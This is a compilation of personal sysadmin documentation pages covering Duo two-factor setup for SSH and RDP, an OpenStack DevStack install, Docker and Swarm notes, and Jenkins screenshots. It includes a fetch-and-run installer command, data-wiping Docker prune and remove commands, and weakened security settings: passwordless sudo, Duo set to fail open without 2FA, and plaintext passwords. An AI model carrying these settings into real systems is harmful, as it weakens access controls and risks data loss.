/opt/duoauthproxy/conf/authproxy.cfg [ad_client] host=x.x.x.x host_2=y.y.y.y service_account_username=REDACTED service_account_password=REDACTED search_dn=DC=example,DC=com # Restart the proxy service service duoauthproxy restart ``` **Verification** As per Note that the expected output below also contains the testing done for *radius_server_auto*, which is for *Cisco RADIUS VPN* - see [Cisco AnyConnect VPN](#cisco-anyconnect-vpn). ``` bash /opt/duoauthproxy/bin/authproxy_connectivity_tool # Expected output Running The Duo Authentication Proxy Connectivity Tool. This may take several minutes... [info] Testing section 'cloud' with configuration: [info] {'api_host': 'REDACTED.duosecurity.com', 'ikey': 'REDACTED', 'service_account_password': '*****', 'service_account_username': 'REDACTED', 'skey': '*****[40]'} [info] There are no configuration problems [info] ----------------------------- [info] Testing section 'ad_client' with configuration: [info] {'host': 'x.x.x.x', 'search_dn': 'DC=example,DC=com', 'service_account_password': '*****', 'service_account_username': 'REDACTED'} [info] There are no configuration problems [info] ----------------------------- [info] Testing section 'radius_server_auto' with configuration: [info] {'api_host': 'REDACTED.duosecurity.com', 'client': 'ad_client', 'ikey': 'REDACTED', 'radius_ip_1': 'x.x.x.x', 'radius_secret_1': '*****', 'skey': '*****[40]'} [info] There are no configuration problems [info] ----------------------------- [info] Testing section 'cloud' with configuration: [info] {'api_host': 'REDACTED.duosecurity.com', 'ikey': 'REDACTED', 'service_account_password': '*****', 'service_account_username': 'REDACTED', 'skey': '*****[40]'} [info] The Cloud connection has no connectivity problems. [info] ----------------------------- [info] Testing section 'ad_client' with configuration: [info] {'host': 'x.x.x.x', 'search_dn': 'DC=example,DC=dev', 'service_account_password': '*****', 'service_account_username': 'REDACTED'} [info] The LDAP Client section has no connectivity issues. [info] ----------------------------- [info] Testing section 'radius_server_auto' with configuration: [info] {'api_host': 'REDACTED.duosecurity.com', 'client': 'ad_client', 'ikey': 'REDACTED', 'radius_ip_1': 'x.x.x.x', 'radius_secret_1': '*****', 'skey': '*****[40]'} [info] The RADIUS Server has no connectivity problems. [info] ----------------------------- [info] SUMMARY [info] No issues detected The results have also been logged in /opt/duoauthproxy/log/connectivity_tool.log ``` ### Back on the Duo Admin Panel Click on *Save Directory* again. Select the groups that you would like to sync. For this demo I just selected Role-Infrastructure. Click on Save Groups. ![duo](_images/duo-27.png) You can now sync the users that are part of the AD group, or sync specific users in the group(s). ![duo](_images/duo-28.png) ## Unix SSH ### Installation & Configuration I recommend the *duo-unix* apt package gets installed via the official Duo repository, instead of building and installing the package from a download link. Therefore, as per : ``` bash # Create the source.list sudo nano /etc/apt/sources.list.d/duosecurity.list deb http://pkg.duosecurity.com/Ubuntu bionic main # Install duo-unix sudo curl -s https://duo.com/APT-GPG-KEY-DUO | sudo apt-key add - sudo apt-get update -y && sudo apt-get install duo-unix -y ``` Configure the [DuoPAMModule](#duo-pam-module), then choose **ONLY ONE** of the following: 1. [Public Key or SSSD Authentication](#public-key-or-sssd-authentication)- select this option if you are using SSSD for logins to the host with the ubuntu/public key as the backdoor, in case SSSD fails. 2. [Public Key Authentication](#public-key-authentication) - select this option if you are using ubuntu/public key as the only method to login to the host. 3. [Password Authentication](#password-authentication) - select this option if you are using a local user account as the only method to login to the host. ### Duo PAM Module Duo PAM is the first thing that has to be configured. We specify the Duo API hostname, etc. in this configuration. ``` bash nano /etc/duo/pam_duo.conf [duo] ; Duo integration key ikey = REDACTED ; Duo secret key skey = REDACTED ; Duo API host host = REDACTED.duosecurity.com ; Enable autopush autopush = yes ; `failmode = safe` In the event of errors with this configuration file or connection to the Duo service ; this mode will allow login without 2FA. ; `failmode = secure` This mode will deny access in the above cases. Misconfigurations with this setting ; enabled may result in you being locked out of your system. failmode = safe ; Send command for Duo Push authentication ;pushinfo = yes ``` ### Public Key or SSSD Authentication An example of the below configuration, as well as installing & configuring SSSD, joining the domain, and configuring sudoers can be found [here](../linux/general.md#ldap-authentication). **SSH Config** Add or modify the below parameters to the `sshd_config` file. ``` bash nano /etc/ssh/sshd_config PubkeyAuthentication yes PasswordAuthentication yes AuthenticationMethods publickey password ChallengeResponseAuthentication yes UsePam yes UseDNS no ``` **PAM Config** Modify the `/etc/pam.d/sshd` PAM module config. ``` bash nano /etc/pam.d/sshd ### comment-out @include common-auth #@include common-auth ### add the below 3 lines underneath #@include common-auth auth [success=1 default=ignore] /lib64/security/pam_duo.so auth requisite pam_deny.so auth required pam_permit.so ``` Modify the `/etc/pam.d/common-auth` PAM module config ``` bash nano /etc/pam.d/common-auth ### comment-out auth [success=2 default=ignore] pam_unix.so nullok_secure #auth [success=2 default=ignore] pam_unix.so nullok_secure ### add the below 2 lines underneath #auth [success=1 default=ignore] pam_unix.so nullok_secure auth requisite pam_unix.so nullok_secure auth [success=2 default=ignore] /lib64/security/pam_duo.so ``` ### Public Key Authentication **SSH Config** Add or modify the below parameters to the sshd_config file. ``` bash nano /etc/ssh/sshd_config PubkeyAuthentication yes PasswordAuthentication no AuthenticationMethods publickey,keyboard-interactive UsePam yes ChallengeResponseAuthentication yes UseDNS no service sshd restart ``` **PAM Config** Modify the `/etc/pam.d/sshd` PAM module config. ``` bash nano /etc/pam.d/sshd ### comment-out @include common-auth #@include common-auth ### add the below 3 lines underneath #@include common-auth auth [success=1 default=ignore] /lib64/security/pam_duo.so auth requisite pam_deny.so auth required pam_permit.so ``` Modify the `/etc/pam.d/common-auth` PAM module config ``` bash nano /etc/pam.d/common-auth ### comment-out auth [success=1 default=ignore] pam_unix.so nullok_secure #auth [success=1 default=ignore] pam_unix.so nullok_secure ### add the below 2 lines underneath #auth [success=1 default=ignore] pam_unix.so nullok_secure auth requisite pam_unix.so nullok_secure auth [success=1 default=ignore] /lib64/security/pam_duo.so ``` ### Password Authentication **SSH Config** Although the defaults work, add or modify the below parameters to the `sshd_config` file. ``` bash nano /etc/ssh/sshd_config PubkeyAuthentication no PasswordAuthentication yes AuthenticationMethods password UsePam yes ChallengeResponseAuthentication yes UseDNS no service sshd restart ``` **PAM Config** Although the PAM configuration is the same as Public Key Authentication, below is the config again to avoid confusion. Modify the `/etc/pam.d/sshd` PAM module config. ``` bash nano /etc/pam.d/sshd ### comment-out @include common-auth #@include common-auth ### add the below 3 lines underneath #@include common-auth auth [success=1 default=ignore] /lib64/security/pam_duo.so auth requisite pam_deny.so auth required pam_permit.so ``` Modify the `/etc/pam.d/common-auth` PAM module config ``` bash nano /etc/pam.d/common-auth ### comment-out auth [success=1 default=ignore] pam_unix.so nullok_secure #auth [success=1 default=ignore] pam_unix.so nullok_secure ### add the below 2 lines underneath #auth [success=1 default=ignore] pam_unix.so nullok_secure auth requisite pam_unix.so nullok_secure auth [success=1 default=ignore] /lib64/security/pam_duo.so ``` ## RDP As per Download and install the Duo application for Windows: Click Next ![duo](_images/duo-15.png) Type in the *API Hostname*, click Next ![duo](_images/duo-16.png) Type in the *Integration Key* and *Secret Key*, click *Next* ![duo](_images/duo-17.png) Check all three boxes, which will bypass Duo if the API host is unreachable on TCP 443, automatically send a push notification upon authentication and disable Duo login when physically logging in to the machine. ![duo](_images/duo-18.png) Click Next ![duo](_images/duo-19.png) Click Install ![duo](_images/duo-20.png) Click Finish ![duo](_images/duo-21.png) When logging in via RDP, a login request will be pushed to the user's Duo app on their smartphone ![duo](_images/duo-22.png) --- # Cloud Source: docs/computing/cloud/index.md URL: https://docs.calebsargeant.com/computing/cloud/ --- # Openstack Source: docs/computing/cloud/openstack.md URL: https://docs.calebsargeant.com/computing/cloud/openstack/ ## Installing Openstack on Ubuntu ``` bash # Update && Upgrade sudo apt update -y && sudo apt upgrade -y # Add default non-root user to Sudoers nano /etc/sudoers # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) NOPASSWD:ALL # Download DevStack sudo apt install git -y cd ~ && git clone https://git.openstack.org/openstack-dev/devstack # Create local.conf cd devstack && nano local.conf [[local|localrc]] # Password for KeyStone, Database, RabbitMQ and Service ADMIN_PASSWORD=supersecurepassword DATABASE_PASSWORD=$ADMIN_PASSWORD RABBIT_PASSWORD=$ADMIN_PASSWORD SERVICE_PASSWORD=$ADMIN_PASSWORD # Host IP - get your Server/VM IP address from ip addr command HOST_IP=192.168.10.100 # Deploy Openstack cd devstack ./stack.sh ``` ## Openstack CLI Download the OpenStack RC File from the GUI: ![openstack](_images/openstack-1.png) Example OpenRC File downloaded: ``` bash #!/usr/bin/env bash # To use an OpenStack cloud you need to authenticate against the Identity # service named keystone, which returns a **Token** and **Service Catalog**. # The catalog contains the endpoints for all services the user/tenant has # access to - such as Compute, Image Service, Identity, Object Storage, Block # Storage, and Networking (code-named nova, glance, keystone, swift, # cinder, and neutron). # # *NOTE*: Using the 3 *Identity API* does not necessarily mean any other # OpenStack API is version 3. For example, your cloud provider may implement # Image API v1.1, Block Storage API v2, and Compute API v2.0. OS_AUTH_URL is # only for the Identity API served through keystone. export OS_AUTH_URL=http://10.0.3.211/identity # With the addition of Keystone we have standardized on the term **project** # as the entity that owns the resources. export OS_PROJECT_ID=3468cb55fe6044bf8643fe9db74fd179 export OS_PROJECT_NAME="admin" export OS_USER_DOMAIN_NAME="Default" if [ -z "$OS_USER_DOMAIN_NAME" ]; then unset OS_USER_DOMAIN_NAME; fi export OS_PROJECT_DOMAIN_ID="default" if [ -z "$OS_PROJECT_DOMAIN_ID" ]; then unset OS_PROJECT_DOMAIN_ID; fi # unset v2.0 items in case set unset OS_TENANT_ID unset OS_TENANT_NAME # In addition to the owning entity (tenant), OpenStack stores the entity # performing the action as the **user**. export OS_USERNAME="admin" # With Keystone you pass the keystone password. #echo "Please enter your OpenStack Password for project $OS_PROJECT_NAME as user $OS_USERNAME: " #read -sr OS_PASSWORD_INPUT #export OS_PASSWORD=$OS_PASSWORD_INPUT export OS_PASSWORD=password # If your configuration has multiple regions, we set that information here. # OS_REGION_NAME is optional and only valid in certain environments. export OS_REGION_NAME="RegionOne" # Don't leave a blank variable, unset it if it was empty if [ -z "$OS_REGION_NAME" ]; then unset OS_REGION_NAME; fi export OS_INTERFACE=public export OS_IDENTITY_API_VERSION=3 ``` [Install openstack CLI here](https://docs.openstack.org/newton/user-guide/common/cli-install-openstack-command-line-clients.html). [See openstack cli docs here](https://docs.openstack.org/python-openstackclient/pike/cli/command-list.html). ### Image ``` bash # Image Create openstack image create --container-format ova --disk-format vdi --min-disk 8 --min-ram 1024 --file ~/Downloads/VirtualCanary_334d99a4.ova VirtualCanary ``` ### Flavor ``` bash openstack flavor create --id canary --ram 1024 --disk 8 --vcpus 1 canary ``` ### Server ``` bash # Server Create openstack server create --image VirtualCanary --flavor ds1G --network private canary ``` ## Random Scriptjies List all SG rules of grepped SG names: ``` bash read -p 'Enter substring of SG: ' PX for SG in $(openstack security group list | grep $PX | awk '{print $4}') do echo $SG openstack security group rule list $SG | grep -w "10."* | awk '{print $4,$6,$8}' > $PX.log done ``` Text manipulation of SG list: ``` bash # Remove the | openstack security group list | grep PX | sed 's/|//g' # Extract the 2nd column openstack security group list | grep PX | awk '{print $2}' # Extract the 1st row of the 2nd column openstack security group list | grep PX | awk 'NR==1{print $2}' # Extract the 1st row openstack security group list | grep PX | awk 'NR==1' # Extract the 1st row openstack security group list | grep PX | head -1 # Count the number of rows openstack security group list | grep PX | wc -l ### SG Rule List openstack security group rule list xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx # Add test to result openstack security group rule list xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' | perl -ne 'print "test $_"' ``` Lookup the machine(s) from IP Address: ``` bash # List all VMs nova list --all-tenants | grep 10.249.0 # IP Address Extractor grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' openstack security group rule list PX | grep -w "10."* ``` Remove all text before characters: ``` bash sed 's/^.*10./10./' ``` Get ICMP rules: ``` bash openstack security group rule list PX | grep -w "10."* | grep -v "icmp" | awk '{print $6,"_",$4,"_",$8}' | sed 's/ //g' | sed 's/:/-/g' ``` Inbound rule list extract: ``` bash openstack security group rule list PX | grep -w "10."* | awk '{print $4,$6,$8}' ``` --- # DNS Source: docs/computing/dns.md URL: https://docs.calebsargeant.com/computing/dns/ ![dns hierarchy](_images/dns-hierarchy.gif) --- # Docker Compose Source: docs/computing/docker/compose.md URL: https://docs.calebsargeant.com/computing/docker/compose/ - Why: configure relationships between containes - Why: save our docker container run settings in easy-to-read file - Why: create one-liner developer environment startups - Comprised of 2 seperate but related things > 1. YAML-formatted file that describes our solution options for: > > > - containers > > - networks > > - volumes > > 2. A CLI tool `docker-compose` used for local dev/test automation with those YAML files ## docker-compose.yml - Compose YAML format has it's own versions: 1, 2, 2.1, 3, 3.1 - YAML file can be used with `docker-compose` command for local docker automation or... - With `docker` directly in production with Swarm (as of v1.13) - `docker-compose --help` - `docker-compose.yml` is default filename, but any can be used with `docker-compose -f` ## docker-compose CLI - CLI tool comes with Docker for WIndows/Mac, but separate download for Linux - Not a production-grade tool but ideal for local development and test - Two most common commands are > - `docker-compose up` - setup volumes/networks and start all containers > - `docker-compose down` - stop all containers and remove cont/vol/net - If all your projects had a `Dockerfile` and `docker-compose.yml` then "new developer onboarding" would be: > - `git clone github.com/some/software` > - `docker-compose up` ## Use Compose to Build - Compose can also build your custom images - WIll build them with `docker-compose up` if not found in cache - Also rebuild with `docker-compose build` - Great for complex builds that have lots of vars or build args --- # Container Images Source: docs/computing/docker/container-images.md URL: https://docs.calebsargeant.com/computing/docker/container-images/ ## What's an Image - App binaries and dependencies - Metadata about the image and how to run the image - Official definition: "An image is an ordered collection of root filesystem changes and the corresponding execution parameters for use within a container runtime" - Not a complete OS. No kernal, kernal modules (e.g. drivers) - Small as one file (your app binary) like golang static binary - Big as Ubuntu distro with apt, and Apache, PHP, and more installed ## Image and Their Layers - Images are made up of file system changes and metadata - Each layer is uniquely identified and only stored once on a host - THis saves storage space on host and transfer time on push/pull - A container is just a single read/write layer on top of image - `docker image history` and `inspect` commands can teach us --- # Container Lifetime & Persistent Data Source: docs/computing/docker/container-lifetime.md URL: https://docs.calebsargeant.com/computing/docker/container-lifetime/ - Containers are usually immuitable and ephemeral - "immutable infrastructure": Only re-deploy containers, never change - This is the ideal scenario, but what about databases or unique data? - DOcker gives us features to ensure these "seperation of concerns" - This is known as persistent data - Two ways: Volumes and Bind Mounts - Volumes: make special location outside of container UFS - Bind Mounts: link container path to host path ## Data Volumes - VOLUME command in Dockerfile ## Bind Mounting - Maps a host file or directory to a container file or directory - Basically just two locations pointing to the same file(s) - Again, skip UFS, and host files overwrite any in container - Can't use in Dockerfile, must be at `container run` - `... run -v /Users/caleb/stuff:/path/container` --- # Container Registries Source: docs/computing/docker/container-registries.md URL: https://docs.calebsargeant.com/computing/docker/container-registries/ - An image registry needs to be part of your container plan - More Docker Hub details including auto-build - How Docker Store (store.docker.com) is different than Hub - How Docker Cloud (cloud.docker.com) is different than Hub - Use new Swarms feature in CLoud to connect to Mac/Win Swarm - Install and use Docker Registry as private image store - 3rd party registry options ## Docker Registry - A private image registry for your network - Part of the docker/distribution GitHub repo - The de facto in private container registries - Not as full featured as Hub or others, no web UI, basic auth only - At its core: a web API and storage system written in Go - Storage supports local, S3/Azure/Alibaba/Google Cloud and OpenStack Swift - Secure your Registry with TLS - Storage cleanup via Garbage Collection - Enable Hub caching via "--registry-mirror" ## Private Registry - Run the registry image on defalt port 5000 - Re-tag an existing image and push it to your new registry - Remove that image from local cache and pull it from new registry - Re-create registry using bind mount and see how it stores data ``` bash docker container run -d -p 5000:5000 --name registry registry docker pull hello-world docker run hello-world docker tag hello-world 127.0.0.1:5000/hello-world docker push 127.0.0.1:5000/hello-world docker container rm hello-world docker image remove hello-world docker pull 127.0.0.1:5000/hello-world docker container kill registry docker container rm registry docker container run -d -p 5000:5000 --name registry -v $(pwd)/registry-data:/var/lib/registry registry docker push 127.0.0.1:5000/hello-world ls /registry-data ``` ### Registry and Proper TLS - Secure by default: docker wont talk to registry without HTTPS - Except localhost - For remote self-signed TLS, enable "insecure-registry" in engine ## Using Registry with Swarm - Works the same way as localhost - Because of Routing Mesh, all nodes can see 127.0.0.1:5000 - Remember to decide how to store images (volume driver) - Note: all nodes must be able to access images - ProTip: use hosted SaaS registry if possible --- # Creating and Using Containers Source: docs/computing/docker/creating-and-using-containers.md URL: https://docs.calebsargeant.com/computing/docker/creating-and-using-containers/ ## Basic Commands - command: `docker version` > - verified cli can talk to engine - command: `docker info` > - most config values of engine - docker command line structure > - old (still works): `docker (options)` > - new: `docker (options)` ## Starting a Container ### Image vs Container - An image is the application we want to run - A Container is an instance of that image running as a process - You can have many containers running off the same image - Docker's default image "registry" is called Docker Hub (hub.docker.com) ### docker container run --publish 80:80 nginx 1. Download image 'nginx' from Docker Hub 2. Started new container from that image 3. Opened port 80 on the host IP 4. Routes that traffic to the container IP, port 80 ## What Happens When we Run a Container 1. Looks for that image locally in image cache, doesnt find anything 2. Then looks in remote image repository (defaults to Docker Hub) 3. Downloads the latest version (nginx:latest by default) 4. Creates a new container based on that image and prepares start 5. Gives it a virtual IP on a private network inside docker engine 6. Opens up port 80 on host and forwards to port 80 in container 7. Starts container by using the CMD in the image Dockerfile ## Container vs VM ### Containers aren't Mini-VMs - THey are just processes - Limited to what resources they can access - Exit when process stops ## Whats Going on in Containers - `docker container top` - process list in on container - `docker container inspect` -details of one container config - `docker container stats` - performance stats for all containers ## Getting a Shell inside Containers - `docker container run -it` - start new container interactively - `docker container exec -it` - run additional command in existing container - Different Linux distros in containers ## Docker Networks ### Docker Networks Defaults - Each container connected to a private virtual network "bridge" - Each virtual network routes through NAT firewall on host IP - All containers on a virtual network can talk to each other without -p - Best practice is to create a new virtual network for each app: > - network "my_web_app" for mysql and php/apache containers > - network "my_api" for mongo and nodejs containers - "Batteries included, but removeable" > - Defaults work well in many cases, but easy to swap out parts to customize it - Make new virtual networks - Attach containers to more than one virtual network (or none) - SKip virtual networks and use host IP (--net=host) - Use different DOcker network drivers to gain new abilities ### CLI Management - Show networks `docker network ls` - Inspect a network `docker network inspect` - Create a network `docker network create --driver` - Attach a network to container `docker netowrk connect` - Detach a network from container `docker network disconnect` ### Default Security - Create your apps so frontend/backend sit on same Docker network - Their inter-communication never leaves host - All externally exposed ports clsoed by default - You must manually expose via -p, which is better default security - This gets even better with Swarm and Overlay networks ### DNS - Containers shouldnt reply on IPs for inter-communication - DNS for friendly names is built-in if you use custom networks - This gets way easier with Docker Compose --- # General Source: docs/computing/docker/general.md URL: https://docs.calebsargeant.com/computing/docker/general/ A docker image is like a template. A docker container is a running instance of the template. Each micro-service, or application, is placed in their own container. ``` bash ## Manually installing docker # https://docs.docker.com/engine/install/debian/#install-using-the-convenience-script curl -fsSL https://get.docker.com -o get-docker.sh sudo sh get-docker.sh sudo usermod -aG docker ubuntu # log out and back in # Show docker processes running docker ps # Install docker apt install docker.io # Create Ubuntu docker container (with custom name, not generated) docker run -it --name my-linux-container ubuntu bash # List all downloaded docker images docker images # Show all running docker processes docker ps -a # Delete all exited containers docker rm $(docker ps -a -f status=exited -q) # Create Ubuntu docker container, mounting local data as a docker volume (add --rm to delete container once exited) docker run -it --name my-linux-container -v /local/data/location:/remote/data/location ubuntu bash # Build your own container (. referrs to Dockerfile in current location) nano Dockerfile FROM ubuntu CMD echo "hello world" RUN apt-get update && apt-get update && apt-get install -y python3 docker build -t my-ubuntu-image . # List images again docker images # Run newly created docker image docker run -it my-ubuntu-image # Delete everything docker (be extremely careful you can loose all data!) docker system prune -f --all # Good guide to start/stop/delete/list docker stuff https://linuxize.com/post/how-to-remove-docker-images-containers-volumes-and-networks/ # Go into bash sudo docker exec -it 5dc64253e9b0 bash # Restart container sudo docker container restart 5dc64253e9b0 # Re-compose cd /etc/docker/owncloud/ sudo docker-compose up -d # STOP AND DELETE EVERYTHING - BE EXTTEMELY CAREFUL docker container stop $(docker container ls -aq) docker container rm $(docker container ls -aq) # Updating Images docker stop containername docker rm containername docker pull image/name # deploy container again via compose/ansible/whatever # https://stackoverflow.com/questions/44678725/cannot-connect-to-the-docker-daemon-at-unix-var-run-docker-sock-is-the-docker # Cannot connect to the Docker daemon at unix:/var/run/docker.sock. Is the docker daemon running? rm /var/snap/docker//run/docker.pid snap stop docker snap start docker ``` ## Backup ``` bash #!/bin/bash DATE=$(date +%Y%m%d) filelist="prometheus blackbox pushgateway grafana alertmanager" # Create /root/backups where containers will be saved to /usr/bin/mkdir /root/backups # Stop docker containers and export for line in $filelist ; do /usr/bin/docker stop "$line" /usr/bin/docker export -o "/root/backups/docker-container-$line" "$line" done # Make tarball of all volumes, containers and config /usr/bin/tar -czvf "/root/$DATE-backup-weekly.tar.gz" /usr/local/bin /var/lib/docker/volumes /var/spool/cron /etc /root/backups # Start docker containers for line in $filelist ; do /usr/bin/docker start "$line" done # Copy to backups /usr/bin/scp "/root/$DATE-backup-weekly.tar.gz" serveradmin@backups.chatinc.com:/mnt/data/monitor/weekly # Remove backups locally /usr/bin/rm -f "/root/$DATE-backup-weekly.tar.gz" /usr/bin/rm -rf "/root/backups/" ``` ## Docker Swarm ``` bash ### Manager # Initialise docker swarm docker swarm init --advertise-addr 10.0.2.11 # List all nodes in swarm docker node ls # Create docker service (--mode global makes service available across swarm) docker service create --name helloworld --mode global alpine ping docker.com # List all docker services docker service ls # List docker containers docker ps ### Worker # Join the docker swarm (token generated from swarm init on manager) docker swarm join --token # To leave a swarm docker swarm leave --force ``` --- # Docker Source: docs/computing/docker/index.md URL: https://docs.calebsargeant.com/computing/docker/ --- # Swarm Source: docs/computing/docker/swarm.md URL: https://docs.calebsargeant.com/computing/docker/swarm/ ## Containers Everywhere = New Problems - How do we automate container lifecycle? - How can we easily scale out/in/up/down? - How can we ensure our containers are recreated if they fail? - How can we replace containers without downtime (blue/green deploy)? - How can we control/track where containers get started? - How can we create cross-node virtual networks? - How can we ensure only trusted servers run our containers? - How can we store secrets, keys, passwords and get them to the right container (and only that container)? ## Swarm Mode: Built-In Orchestration - Swarm Mode is a clustering solution built inside Docker - Not related to Swarm "classic" for pre-1.12 versions - Added in 1.12 (Summer 2016) via SwarmKit toolkit - Enhanced in 1.13 (Jan 2017) via Stacks and Secrets - Not enabled by default, new commands once enabled > - docker swarm > - docker node > - docker service > - docker stack > - docker secret ![swarm diagram](_images/swarm-diagram.png) ![swarm diagram](_images/swarm-diagram2.png) ![swarm diagram](_images/swarm-diagram3.png) ## Swarm Services - `docker swarm init` - Lots of PKI and security automation > - Root Signing Certificate create for our Swarm > - Certificate is issued for first Manager node > - Join tokens are created - Raft database created to store root CA, configs and secrets > - Encrypted by default on disk (1.13+) > - No need for another key/value system to hold orchestration/secrets > - Replicates logs amongst Managers via mutual TLS in "contrl plane" ## Overlay Multi-Host Networking - Just choose `--driver overlay` when creating network - FOr container-to-container traffic inside a single Swarm - Optional IPSec (AES) encryption on netowrk creation - Each service can be connected to multiple networks > - (e.g. fornt-end, back-end) - `docker network create --driver overlay mydrupal` - `docker service create --name psql --network mydrupal -e POSTGRES_PASSWORD=mypass postgres` - `docker service create --name dripal --network mydrupal -p 80:80 drupal` ## Routing Mesh - Routes ingress (incoming) packets for a Service to proper Task - Spans all nodes in Swarm - Uses IPVS from Linux Kernal - Load balances Swarm Services accross their Tasks - Two ways this works - COntainer-to-container in a Overlay netrwokr (uses VIP) - External traffic incoming to published ports (all nodes listen) ![swarm routing mesh](_images/swarm-routing-mesh.png) ![swarm routing mesh](_images/swarm-routing-mesh2.png) - `docker service create --name elasticsearch --replicas 3 -p 9200:9200 elasticsearch:2` - This is a stateless load balancer - This LB is at OSI layer 3 (TCP) not layer 4 (DNS) - Both limitations can be overcome with: - Nginx or HAProxy LB proxy or: - Docker enterprise Edition which comes with built-in L4 web proxy ## Swarm Stacks - In 1.13 Docker adds a new layer of abstraction to Swarm called Stacks - Stacks accept Compose files as their declarative definition for services, networks, and volumes - We use `docker stack deploy` rather than docker service create - Stack manages all those objects for us, including overlay network per stack. Adds stack name to start of their name - New `deploy:` key in Compose file. Cant do `build:` - Compose now ignores `deploy:`, Swarm ignores `build:` - `docker-compose` cli not needed on Swarm server ![swarm stack](_images/swarm-stack.png) - `docker stack deploy -c example-voting-app-stack.yml voteapp` - `docker stack serices voteapp` - `docker stack ps voteapp` ## Swarm Secrets ### Secrets Storage - Easiest "Secure" solution for storing secrets in Swarm - What is a Secret? > - Usernames and passwords > - TLS certificates and keys > - SSH keys > - Any data you would prefer not being on front page of news - Supports generic strings or binary content up to 500Kb in size - Doesnt require apps to be rewritten - As of Docker 1.13.0 Swarm Raft DB is encrypted on disk - Only stored on disk on Manager nodes - Default is Managers and Workers "control plan" is TLS + Mutual Auth - Secrets are firt stored in Swarm, then assigned to a Service(s) - Only containers in assigned Service(s) can see them - They look like files in container but are actuallin in-memory fs - `/run/secrets/secret_name` or `/run/secrets/secret_alias` - Local docker-compose can use file-based secrets, but not secure ### Secrets with Services - `docker secret create psql_user psql_user.txt` - `echo "myDBPassword" \| docker secret create psql_pass -` - `docker secret ls` - `docker secret inspect psql_user` - `docker service create --name psql --secret psql_user --secret psql_pass -e POSTGRES_PASSWORD_FILE=/run/secrets/psql_pass -e POSTGRES_USER_FILE=/run/secrets/psql_user postgres` - `docker service update --secret-rm` ### Secrets with Stacks - `docker service create --name search --replicas 3 -p 9200:9200 elasticsearch:2` - `docker stack deploy -c docker-compoes.yml mydb` ## Swarm Lifecycle - `docker-compose exec psql cat /run/secrets/psql_user` ### Full App Lifecycle with Compose - Single set of Compose files for: - Local `docker-compose up` development environemnt - Remote `docker-compose up` CI environment - Remote `docker stack deploy` production environment - Note: `docker-compose -f a.yml -f b.yml config` mostly works - Note: Compose `extends:` doesnt work yet in Stacks ## Service Updates - Provides rolling replacement of tasks/containers in a service - Limits downtime (be careful with "prevents" downtime) - Will replace containers for most changes - Has many, many cli options to control the update - Create options will usally change, adding -add or -rm to them - Also has scale & rollback subcommand for quicker access > - `docker service scale web=4` and `docker service rollback web` - A stack deploy, when pre-existing, will issue service updates ### Swarm Update Examples - Just update the image used to a newer version > - `docker service update --image myapp:1.2.1 ` - Adding an environment variable and remove a port > - `docker service update --env-add NODE_ENV=production --publish-rm 8080` > - Change number of replicas of two services > > > - `docker service scale web=8 api=6` ### Swarm Updates in Stack FIles Same command, just edit the YAML file, then `docker stack deploy -c file.yml ` ## Healthchecks - `HEALTHCHECK` was added in 1.12 - Supported in Dckerfile, Compose YAML, docker run, and Swarm Services - Docker engine will `exec`'s the command in the container > - e.g curl localhost - it expects `exit 0` (OK) or `exit 1` (Error) - Three container states: starting, healthy, unhealthy - Much better than "is binary still running?" - Not an external monitoring replacement - Healthcheck status shows up in `docker container ls` - Check last 5 healthchecks with `docker container inspect` - Docker run does nothing with healthchecks - Services will replace takss if they fail healthcheck - Service updates wait for them before continuing ### Healthcheck DOcker Run Example ``` bash docker run \ --health-cmd="curl -f localhost:9200/_cluster/health || False" \ --health-interval=5s \ --health-retries=3 \ --health-timeout=2s \ --health-start-period=15s \ elasticsearch:2 ``` ### Healthcheck Dockerfile Examples - Options for healthcheck command > - `--interval=DURATION (default: 30s)` > - `--timeout=DURATION (default: 30s)` > - `--start-period=DURATION (default: 0s) (17.09+)` > - `--retries=N (default:3)` - Basic command using default options > - `HEALTHCHECK curl -f http://localhost/ \|\| false` - Custom options with the command > - `HEALTHCHECK --timeout=2s --interval=3s --retries=3 CMD curl -f http://localhost/ \|\| exit 1` ### Healthcheck in Nginx Dockerfile - Static website running in Nginx, just test default URL ``` bash FROM nginx:1.13 HEALTHCHECK --interval=30s --timeout=3s \ CMD curl -f http://localhost/ || exit 1 ``` ### Healthcheck in PHP Nginx Dockerfile PHP-FPM running behind Nginx, test the Nginx and FPM status URLs ``` bash FROM your-nginx-php-fpm-combo-image # dont do this if php-fpm is another container # must enable php-fpm ping/status in pool.ini # must forward /ping and /status urls from ngix to php-fpom HEALTHCHECK --interval=5s --timeout=3s \ CMD curl -f http://localhost/ping || exit 1 ``` ### Healthcheck in postgres Dockerfile Use a PostgtreSQL utility to test for ready state ``` bash FROM postgres # Specify real user with -U to prevent errors in log HEALTHCHECK --interval=5s --timeout=3s \ CMD pg_isready -U postgres || exit 1 ``` --- # Getting Started Source: docs/computing/elk-stack/getting-started.md URL: https://docs.calebsargeant.com/computing/elk-stack/getting-started/ --- # ELK Stack Source: docs/computing/elk-stack/index.md URL: https://docs.calebsargeant.com/computing/elk-stack/ --- # Automating Jobs Configured with Code Source: docs/computing/jenkins/getting-started/automating-jobs-configured-with-code.md URL: https://docs.calebsargeant.com/computing/jenkins/getting-started/automating-jobs-configured-with-code/
![jenkins](_images/jenkins-15.png)
Pipeline config to clone repo
![jenkins](_images/jenkins-16.png)
A failed pipeline building
![jenkins](_images/jenkins-17.png)
It's helpful to generate using Pipeline Syntax
![jenkins](_images/jenkins-18.png)
Viewing the pipeline syntax
![jenkins](_images/jenkins-19.png)
Build our package via pipeline
![jenkins](_images/jenkins-20.png)
Viewing results in Stage View
![jenkins](_images/jenkins-21.png)
Viewing the Pipeline Steps of a Build
![jenkins](_images/jenkins-22.png)
Adding post to pipeline for archiving jar file & test results
![jenkins](_images/jenkins-23.png)
Adding a Stage to the pipeline
![jenkins](_images/jenkins-24.png)
The convert to pipeline plugin
